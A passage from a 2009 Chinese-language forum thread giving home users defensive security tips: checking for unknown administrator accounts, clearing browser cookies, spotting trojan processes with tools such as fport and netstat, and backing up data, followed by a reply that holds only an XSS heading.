11. 檢視主機是否增加不認識的使用者帳號
相信絕大多數的使用者,使用電腦數年也不曾檢查過主機中的使用者帳號。許多駭客透過各種方式入侵主機之後,除了置放木馬後門程式之外,還會建立一個具有Administrator相同權限的帳號,成了合法的使用者,可以從遠端登入該主機竊取資料或作為入侵其他主機之跳板。建議使用者偶爾檢視主機使用者帳號。除此之外,也建議停用系統的內建帳號,如guest帳號,否則會被有心人士嚐試登入。

12. 清除瀏覽器的Cookie
使用者每次在使用完公用電腦後,都應於離開前將個人資料及記錄完全清除,以保護個人資料不外洩。使用者可以開啟IE瀏覽器「工具」中的「網際網路選項」,刪除「一般」中的瀏覽歷程紀錄,包含暫存區、歷史紀錄、儲存的密碼以及網頁表單資訊。

13. 檢視是否被植入木馬後門程式
許多使用者自己並未發廣告信(SPAM)、也沒有scan他人主機、更沒有發動阻斷式攻擊,可是自己的主機卻發生網路異常行為。這種情形發生時,大部分使用者會以防毒軟體做全機掃描,有時候可以掃描出木馬後門程式,但是大部分卻無任何結果。遇到這種情況時,建議使用者可以利用免費工具檢查主機上是否有不正常的process正在執行。對Windows系統而言,Active ports、fport都是不錯的檢查工具。而Linux使用者可以利用netstat或nmap檢查開啟的通訊埠。
當使用者檢視檢查工具列出主機中正在執行的process時,馬上會有人想問的問題是,我又不是系統專家,我怎麼知道哪些process是正常的,哪些process是可疑的呢?建議大家可以將process名稱輸入到網頁搜尋引擎(例如http://www.google.com)。如果搜尋結果是系統的process就不用擔心。如果找不到或者找到是惡意程式的話,請依照以下建議處理:

請先備份重要資料。有些惡意程式可能會因為使用者停用或刪除異常Process而破壞整個系統,所以先備份重要資料是很重要的前置作業。

手動停止異常的Process。Windows系統可以啟動「工作管理員」(同時按CTRL+ALT+DELETE鍵),從「處理程序」中結束異常Process。

更名或刪除異常程式。找出異常程式執行的資料夾,更換該程式的檔案名稱(建議)或者刪除該異常程式。

Windows系統如果因程式正在執行無法停用、更名或刪除,就需要從安全模式開機了。

14. 定期做好個人資料備份
建議使用者定期做資料備份。在安裝新電腦時,建議將系統檔案與資料分開存放,也就是將硬碟分割成兩部分(如C碟與D碟),系統程式安裝在C碟,個人資料放在D碟。每個月定期將個人資料(D碟)做備份,如果不幸因惡意程式造成資料毀損時還可在短時間內還原資料。
 


結語
資訊安全的認知是需要靠時間慢慢累積的,建議大家能都從基本做起,參考「個人資訊安全守則」,養成良好的電腦使用習慣。至於駭客的最新手法,請隨時注意最新的資安訊息,日後我也會負責彙整資料,提供給大家參考。

[jocosn 在  2009-5-10 11:49 PM 作了最後編輯]



[如果你喜歡本文章,就按本文章之鮮花~送花給作者吧,你的支持就是別人的動力來源]
本文連接  
檢閱個人資料  發私人訊息  Blog  快速回覆 新增/修改 爬文標記
psycho
鐵驢友〔初級〕
等級: 4


 . 積分: 42
 . 文章: 137
 . 收花: 353 支
 . 送花: 29 支
 . 比例: 0.08
 . 在線: 263 小時
 . 瀏覽: 1660 頁
 . 註冊: 5928
 . 失蹤: 4125
#4 : 2009-5-18 01:10 AM     只看本作者 引言回覆

◆ Cross Site Scripting(XSS)及安全寫作建議
這個史上最難擋之一



[如果你喜歡本文章,就按本文章之鮮花~送花給作者吧,你的支持就是別人的動力來源]
本文連接  
檢閱個人資料  發私人訊息  Blog  快速回覆 新增/修改 爬文標記

   

快速回覆
表情符號

更多 Smilies

字型大小 : |||      [完成後可按 Ctrl+Enter 發佈]        

溫馨提示:本區開放遊客瀏覽。
選項:
關閉 URL 識別    關閉 表情符號    關閉 Discuz! 代碼    使用個人簽名    接收新回覆信件通知
發表時自動複製內容   [立即複製] (IE only)


 



所在時區為 GMT+8, 現在時間是 2024-4-24 09:31 AM
清除 Cookies - 連絡我們 - TWed2k © 2001-2046 - 純文字版 - 說明
Discuz! 0.1 | Processed in 0.038453 second(s), 7 queries , Qzip disabled